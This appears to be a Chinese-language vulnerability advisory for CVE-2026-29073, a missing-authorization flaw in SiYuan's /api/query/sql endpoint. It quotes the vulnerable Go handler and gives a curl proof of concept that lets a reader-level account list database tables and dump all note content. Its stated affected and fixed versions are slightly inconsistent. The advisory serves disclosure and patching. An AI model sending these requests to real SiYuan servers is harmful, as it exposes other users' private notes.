SiYuan越权执行任意SQL漏洞CVE-2026-29073
思源笔记(SiYuan)是一款隐私优先、本地优先、完全开源块级个人知识管理系统(PKM),以内容块为核心,端到端加密增量同步。
一、基本情况
SiYuan(思源笔记)是一款开源个人知识管理系统,支持细粒度的隐私控制,完全离线使用,个人与商业场景均可免费使用核心功能。

思源笔记支持 Markdown 所见即所得编辑、细粒度块引用与双向链接,可跨全平台使用,适合构建结构化与网状结合的个人知识图谱。
栋科技漏洞库关注到思源笔记在 3.6.0 之前的版本中存在一个越权执行任意SQL漏洞,现追踪为CVE-2026-29073,CVSS 4.0评分5.7。
二、漏洞分析
CVE-2026-29073漏洞是存在于思源笔记 3.5.3 版本中存在的一个越权执行任意SQL漏洞,源于该版本的一个 SQL 接口存在权限校验。
该漏洞存在于思源笔记 3.5.3 版本系统 /api/query/sql 接口中,该接口允许用户直接运行SQL,它会检查用户登录状态(Basic Auth)。
只不过,该接口只是检查了基本的身份验证,却没有检查管理员权限,也就是说该接口并没有对执行 SQL 的管理员权限进行二次验证。
这就导致任何登录用户甚至是仅拥有最低级别的读者权限,都利用通过该接口向数据库直接发送并执行任意 SQL 查询,潜在风险较大。
由于 SQL API 主要用于选择查询,若不进行验证,仍然可以进行写入,导致读者用户可查询数据库中的所有数据,包括其他用户笔记。
此外,这是一个身份验证旁路, SQL 功能适用于高级用户,但即使是读者也可以使用它,因此恶意 SQL 可能会导致严重的性能问题。
该漏洞的潜在风险包括导致其他用户笔记被泄露、系统内存储的笔记数据被泄露、篡改或彻底删除。
易受攻击的端点位于kernel/api/sql.go中
func SQL(c *gin.Context) {
ret := gulu.Ret.NewResult()
defer c.JSON(http.StatusOK, ret)
arg, ok := util.JsonArg(c, ret)
if !ok {
return
}
stmt := arg["stmt"].(string)
result, err := sql.Query(stmt, model.Conf.Search.Limit) // ... runs arbitrary sql with no restrictions
}
kernel/api/router.go中的路由只使用CheckAuth中间件
例如(类似)
ginServer.Handle("POST", "/api/query/sql", model.CheckAuth, SQL)
三、POC概念验证
打开发布服务启动思源
# list out all tables in the database
curl -s -u reader_user:reader_pass \
-X POST "http://127.0.0.1:6808/api/query/sql" \
-H "Content-Type: application/json" \
-d '{"stmt": "SELECT name, type FROM sqlite_master WHERE type='"'"'table'"'"'"}'
# extract all user content from the database
curl -s -u reader_user:reader_pass \
-X POST "http://127.0.0.1:6808/api/query/sql" \
-H "Content-Type: application/json" \
-d '{"stmt": "SELECT id, content FROM blocks"}'
四、影响范围
SiYuan <= 3.5.3
五、修复建议
SiYuan > 3.6.0
六、 参考链接
管理员已设置登录后刷新可查看